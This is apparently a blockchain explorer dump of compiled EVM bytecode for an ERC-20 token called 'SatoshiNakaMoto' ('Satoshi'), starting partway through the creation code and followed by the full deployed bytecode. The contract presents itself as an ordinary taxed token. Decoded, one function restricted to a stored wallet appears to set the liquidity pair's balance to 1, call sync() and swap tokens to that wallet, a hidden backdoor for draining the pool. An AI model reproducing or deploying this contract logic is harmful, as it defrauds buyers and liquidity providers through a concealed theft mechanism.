565b60006120a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119c0565b905092915050565b60008082846120bd9190612b60565b905083811015612102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f990612f64565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561214657808201518184015260208101905061212b565b83811115612155576000848401525b50505050565b6000601f19601f8301169050919050565b60006121778261210c565b6121818185612117565b9350612191818560208601612128565b61219a8161215b565b840191505092915050565b600060208201905081810360008301526121bf818461216c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121f7826121cc565b9050919050565b612207816121ec565b811461221257600080fd5b50565b600081359050612224816121fe565b92915050565b6000819050919050565b61223d8161222a565b811461224857600080fd5b50565b60008135905061225a81612234565b92915050565b60008060408385031215612277576122766121c7565b5b600061228585828601612215565b92505060206122968582860161224b565b9150509250929050565b60008115159050919050565b6122b5816122a0565b82525050565b60006020820190506122d060008301846122ac565b92915050565b6122df8161222a565b82525050565b60006020820190506122fa60008301846122d6565b92915050565b600080600060608486031215612319576123186121c7565b5b600061232786828701612215565b935050602061233886828701612215565b92505060406123498682870161224b565b9150509250925092565b600060ff82169050919050565b61236981612353565b82525050565b60006020820190506123846000830184612360565b92915050565b6000602082840312156123a05761239f6121c7565b5b60006123ae8482850161224b565b91505092915050565b6000602082840312156123cd576123cc6121c7565b5b60006123db84828501612215565b91505092915050565b6123ed816121ec565b82525050565b600060208201905061240860008301846123e4565b92915050565b60008060408385031215612425576124246121c7565b5b600061243385828601612215565b925050602061244485828601612215565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612484602083612117565b915061248f8261244e565b602082019050919050565b600060208201905081810360008301526124b381612477565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006124f0601783612117565b91506124fb826124ba565b602082019050919050565b6000602082019050818103600083015261251f816124e3565b9050919050565b600081519050612535816121fe565b92915050565b600060208284031215612551576125506121c7565b5b600061255f84828501612526565b91505092915050565b600060408201905061257d60008301856123e4565b61258a60208301846123e4565b9392505050565b60006040820190506125a660008301856123e4565b6125b360208301846122d6565b9392505050565b6125c3816122a0565b81146125ce57600080fd5b50565b6000815190506125e0816125ba565b92915050565b6000602082840312156125fc576125fb6121c7565b5b600061260a848285016125d1565b91505092915050565b600081519050919050565b600081905092915050565b600061263482612613565b61263e818561261e565b935061264e818560208601612128565b80840191505092915050565b60006126668284612629565b915081905092915050565b7f496e7465726e616c206661696c75726500000000000000000000000000000000600082015250565b60006126a7601083612117565b91506126b282612671565b602082019050919050565b600060208201905081810360008301526126d68161269a565b9050919050565b6000819050919050565b6000819050919050565b600061270c612707612702846126dd565b6126e7565b61222a565b9050919050565b61271c816126f1565b82525050565b600060c08201905061273760008301896123e4565b61274460208301886122d6565b6127516040830187612713565b61275e6060830186612713565b61276b60808301856123e4565b61277860a08301846122d6565b979650505050505050565b60008151905061279281612234565b92915050565b6000806000606084860312156127b1576127b06121c7565b5b60006127bf86828701612783565b93505060206127d086828701612783565b92505060406127e186828701612783565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612847602483612117565b9150612852826127eb565b604082019050919050565b600060208201905081810360008301526128768161283a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006128d9602283612117565b91506128e48261287d565b604082019050919050565b60006020820190508181036000830152612908816128cc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061296b602583612117565b91506129768261290f565b604082019050919050565b6000602082019050818103600083015261299a8161295e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006129fd602383612117565b9150612a08826129a1565b604082019050919050565b60006020820190508181036000830152612a2c816129f0565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612a8f602983612117565b9150612a9a82612a33565b604082019050919050565b60006020820190508181036000830152612abe81612a82565b9050919050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b6000612afb601a83612117565b9150612b0682612ac5565b602082019050919050565b60006020820190508181036000830152612b2a81612aee565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612b6b8261222a565b9150612b768361222a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612bab57612baa612b31565b5b828201905092915050565b7f42616c616e63652065786365656465642077616c6c65742073697a6500000000600082015250565b6000612bec601c83612117565b9150612bf782612bb6565b602082019050919050565b60006020820190508181036000830152612c1b81612bdf565b9050919050565b6000612c2d8261222a565b9150612c388361222a565b925082821015612c4b57612c4a612b31565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612ce9816121ec565b82525050565b6000612cfb8383612ce0565b60208301905092915050565b6000602082019050919050565b6000612d1f82612cb4565b612d298185612cbf565b9350612d3483612cd0565b8060005b83811015612d65578151612d4c8882612cef565b9750612d5783612d07565b925050600181019050612d38565b5085935050505092915050565b600060a082019050612d8760008301886122d6565b612d946020830187612713565b8181036040830152612da68186612d14565b9050612db560608301856123e4565b612dc260808301846122d6565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e068261222a565b9150612e118361222a565b925082612e2157612e20612dcc565b5b828204905092915050565b6000612e378261222a565b9150612e428361222a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e7b57612e7a612b31565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ee2602183612117565b9150612eed82612e86565b604082019050919050565b60006020820190508181036000830152612f1181612ed5565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612f4e601b83612117565b9150612f5982612f18565b602082019050919050565b60006020820190508181036000830152612f7d81612f41565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfe0675879ae021b08eb8b4c32755eb0272261d82f9082452dbdba66d0c676ed64736f6c63430008090033

Deployed Bytecode

0x6080604052600436106101185760003560e01c8063715018a6116100a0578063bb2f719911610064578063bb2f719914610388578063d91a21a61461039f578063dd62ed3e146103c8578063e8078d9414610405578063f42938901461041c5761011f565b8063715018a6146102b35780637d1db4a5146102ca5780638da5cb5b146102f557806395d89b4114610320578063a9059cbb1461034b5761011f565b8063313ce567116100e7578063313ce567146101f45780633e7175c51461021f5780634a1316721461024857806351bc3c851461025f57806370a08231146102765761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610433565b60405161014691906121a5565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612260565b610470565b60405161018391906122bb565b60405180910390f35b34801561019857600080fd5b506101a161048e565b6040516101ae91906122e5565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612300565b610498565b6040516101eb91906122bb565b60405180910390f35b34801561020057600080fd5b50610209610571565b604051610216919061236f565b60405180910390f35b34801561022b57600080fd5b506102466004803603810190610241919061238a565b61057a565b005b34801561025457600080fd5b5061025d610627565b005b34801561026b57600080fd5b50610274610a3a565b005b34801561028257600080fd5b5061029d600480360381019061029891906123b7565b610a54565b6040516102aa91906122e5565b60405180910390f35b3480156102bf57600080fd5b506102c8610a9d565b005b3480156102d657600080fd5b506102df610bf0565b6040516102ec91906122e5565b60405180910390f35b34801561030157600080fd5b5061030a610bf6565b60405161031791906123f3565b60405180910390f35b34801561032c57600080fd5b50610335610c1f565b60405161034291906121a5565b60405180910390f35b34801561035757600080fd5b50610372600480360381019061036d9190612260565b610c5c565b60405161037f91906122bb565b60405180910390f35b34801561039457600080fd5b5061039d610c7a565b005b3480156103ab57600080fd5b506103c660048036038101906103c1919061238a565b610f00565b005b3480156103d457600080fd5b506103ef60048036038101906103ea919061240e565b610fad565b6040516103fc91906122e5565b60405180910390f35b34801561041157600080fd5b5061041a611034565b005b34801561042857600080fd5b506104316111cc565b005b60606040518060400160405280600f81526020017f5361746f7368694e616b614d6f746f0000000000000000000000000000000000815250905090565b600061048461047d611227565b848461122f565b6001905092915050565b6000600554905090565b60006104a58484846113fa565b610566846104b1611227565b61056185604051806060016040528060288152602001612f8560289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610517611227565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c09092919063ffffffff16565b61122f565b600190509392505050565b60006012905090565b610582611227565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461060f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106069061249a565b60405180910390fd5b600654811161061d57600080fd5b8060068190555050565b61062f611227565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b39061249a565b60405180910390fd5b600b60149054906101000a900460ff161561070c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070390612506565b60405180910390fd5b61073b30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055461122f565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a357600080fd5b505afa1580156107b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107db919061253b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085f57600080fd5b505afa158015610873573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610897919061253b565b6040518363ffffffff1660e01b81526004016108b4929190612568565b602060405180830381600087803b1580156108ce57600080fd5b505af11580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610906919061253b565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109e5929190612591565b602060405180830381600087803b1580156109ff57600080fd5b505af1158015610a13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3791906125e6565b50565b6000610a4530610a54565b9050610a518130611a24565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610aa5611227565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b299061249a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5361746f73686900000000000000000000000000000000000000000000000000815250905090565b6000610c70610c69611227565b84846113fa565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbb611227565b73ffffffffffffffffffffffffffffffffffffffff1614610cdb57600080fd5b67016345785d8a0000600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160026000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae960e01b604051602401604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610e41919061265a565b6000604051808303816000865af19150503d8060008114610e7e576040519150601f19603f3d011682016040523d82523d6000602084013e610e83565b606091505b505090508015610ec257610ebd6305f5e100600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611a24565b610efd565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef4906126bd565b60405180910390fd5b50565b610f08611227565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8c9061249a565b60405180910390fd5b6009548111610fa357600080fd5b8060098190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61103c611227565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c09061249a565b60405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061111230610a54565b60008061111d610bf6565b426040518863ffffffff1660e01b815260040161113f96959493929190612722565b6060604051808303818588803b15801561115857600080fd5b505af115801561116c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111919190612798565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550565b60004790506111da81611cad565b50565b600061121f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d19565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561129f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112969061285d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561130f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611306906128ef565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113ed91906122e5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561146a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146190612981565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d190612a13565b60405180910390fd5b6000811161151d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151490612aa5565b60405180910390fd5b611525610bf6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115935750611563610bf6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561190057600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116435750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116995750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116e4576009548111156116e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116da90612b11565b60405180910390fd5b5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561178c5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e25750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561184057600654816117f484610a54565b6117fe9190612b60565b111561183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690612c02565b60405180910390fd5b5b600061184b30610a54565b9050600b60159054906101000a900460ff161580156118b85750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118d05750600b60169054906101000a900460ff165b156118fe576118df8130611a24565b6000479050668e1bc9bf04000081106118fc576118fb47611cad565b5b505b505b6119bb838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119a75750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6119b3576007546119b6565b60005b611d7c565b505050565b6000838311158290611a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ff91906121a5565b60405180910390fd5b5060008385611a179190612c22565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a5c57611a5b612c56565b5b604051908082528060200260200182016040528015611a8a5781602001602082028036833780820191505090505b5090503081600081518110611aa257611aa1612c85565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611b4457600080fd5b505afa158015611b58573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b7c919061253b565b81600181518110611b9057611b8f612c85565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bf730600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168561122f565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b8152600401611c5b959493929190612d72565b600060405180830381600087803b158015611c7557600080fd5b505af1158015611c89573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff0219169083151502179055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d15573d6000803e3d6000fd5b5050565b60008083118290611d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5791906121a5565b60405180910390fd5b5060008385611d6f9190612dfb565b9050809150509392505050565b6000611da46064611d968486611fe990919063ffffffff16565b6111dd90919063ffffffff16565b90506000611dbb828561206490919063ffffffff16565b9050611e0f84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206490919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ea481600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ae90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f3982600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ae90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fd991906122e5565b60405180910390a3505050505050565b600080831415611ffc576000905061205e565b6000828461200a9190612e2c565b90508284826120199190612dfb565b14612059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205090612ef8565b60405180910390fd5b809150505b92915050565b60006120a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119c0565b905092915050565b60008082846120bd9190612b60565b905083811015612102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f990612f64565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561214657808201518184015260208101905061212b565b83811115612155576000848401525b50505050565b6000601f19601f8301169050919050565b60006121778261210c565b6121818185612117565b9350612191818560208601612128565b61219a8161215b565b840191505092915050565b600060208201905081810360008301526121bf818461216c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121f7826121cc565b9050919050565b612207816121ec565b811461221257600080fd5b50565b600081359050612224816121fe565b92915050565b6000819050919050565b61223d8161222a565b811461224857600080fd5b50565b60008135905061225a81612234565b92915050565b60008060408385031215612277576122766121c7565b5b600061228585828601612215565b92505060206122968582860161224b565b9150509250929050565b60008115159050919050565b6122b5816122a0565b82525050565b60006020820190506122d060008301846122ac565b92915050565b6122df8161222a565b82525050565b60006020820190506122fa60008301846122d6565b92915050565b600080600060608486031215612319576123186121c7565b5b600061232786828701612215565b935050602061233886828701612215565b92505060406123498682870161224b565b9150509250925092565b600060ff82169050919050565b61236981612353565b82525050565b60006020820190506123846000830184612360565b92915050565b6000602082840312156123a05761239f6121c7565b5b60006123ae8482850161224b565b91505092915050565b6000602082840312156123cd576123cc6121c7565b5b60006123db84828501612215565b91505092915050565b6123ed816121ec565b82525050565b600060208201905061240860008301846123e4565b92915050565b60008060408385031215612425576124246121c7565b5b600061243385828601612215565b925050602061244485828601612215565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612484602083612117565b915061248f8261244e565b602082019050919050565b600060208201905081810360008301526124b381612477565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006124f0601783612117565b91506124fb826124ba565b602082019050919050565b6000602082019050818103600083015261251f816124e3565b9050919050565b600081519050612535816121fe565b92915050565b600060208284031215612551576125506121c7565b5b600061255f84828501612526565b91505092915050565b600060408201905061257d60008301856123e4565b61258a60208301846123e4565b9392505050565b60006040820190506125a660008301856123e4565b6125b360208301846122d6565b9392505050565b6125c3816122a0565b81146125ce57600080fd5b50565b6000815190506125e0816125ba565b92915050565b6000602082840312156125fc576125fb6121c7565b5b600061260a848285016125d1565b91505092915050565b600081519050919050565b600081905092915050565b600061263482612613565b61263e818561261e565b935061264e818560208601612128565b80840191505092915050565b60006126668284612629565b915081905092915050565b7f496e7465726e616c206661696c75726500000000000000000000000000000000600082015250565b60006126a7601083612117565b91506126b282612671565b602082019050919050565b600060208201905081810360008301526126d68161269a565b9050919050565b6000819050919050565b6000819050919050565b600061270c612707612702846126dd565b6126e7565b61222a565b9050919050565b61271c816126f1565b82525050565b600060c08201905061273760008301896123e4565b61274460208301886122d6565b6127516040830187612713565b61275e6060830186612713565b61276b60808301856123e4565b61277860a08301846122d6565b979650505050505050565b60008151905061279281612234565b92915050565b6000806000606084860312156127b1576127b06121c7565b5b60006127bf86828701612783565b93505060206127d086828701612783565b92505060406127e186828701612783565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612847602483612117565b9150612852826127eb565b604082019050919050565b600060208201905081810360008301526128768161283a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006128d9602283612117565b91506128e48261287d565b604082019050919050565b60006020820190508181036000830152612908816128cc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061296b602583612117565b91506129768261290f565b604082019050919050565b6000602082019050818103600083015261299a8161295e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006129fd602383612117565b9150612a08826129a1565b604082019050919050565b60006020820190508181036000830152612a2c816129f0565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612a8f602983612117565b9150612a9a82612a33565b604082019050919050565b60006020820190508181036000830152612abe81612a82565b9050919050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b6000612afb601a83612117565b9150612b0682612ac5565b602082019050919050565b60006020820190508181036000830152612b2a81612aee565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612b6b8261222a565b9150612b768361222a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612bab57612baa612b31565b5b828201905092915050565b7f42616c616e63652065786365656465642077616c6c65742073697a6500000000600082015250565b6000612bec601c83612117565b9150612bf782612bb6565b602082019050919050565b60006020820190508181036000830152612c1b81612bdf565b9050919050565b6000612c2d8261222a565b9150612c388361222a565b925082821015612c4b57612c4a612b31565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612ce9816121ec565b82525050565b6000612cfb8383612ce0565b60208301905092915050565b6000602082019050919050565b6000612d1f82612cb4565b612d298185612cbf565b9350612d3483612cd0565b8060005b83811015612d65578151612d4c8882612cef565b9750612d5783612d07565b925050600181019050612d38565b5085935050505092915050565b600060a082019050612d8760008301886122d6565b612d946020830187612713565b8181036040830152612da68186612d14565b9050612db560608301856123e4565b612dc260808301846122d6565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e068261222a565b9150612e118361222a565b925082612e2157612e20612dcc565b5b828204905092915050565b6000612e378261222a565b9150612e428361222a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e7b57612e7a612b31565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ee2602183612117565b9150612eed82612e86565b604082019050919050565b60006020820190508181036000830152612f1181612ed5565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612f4e601b83612117565b9150612f5982612f18565b602082019050919050565b60006020820190508181036000830152612f7d81612f41565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfe0675879ae021b08eb8b4c32755eb0272261d82f9082452dbdba66d0c676ed64736f6c63430008090033

Deployed Bytecode Sourcemap

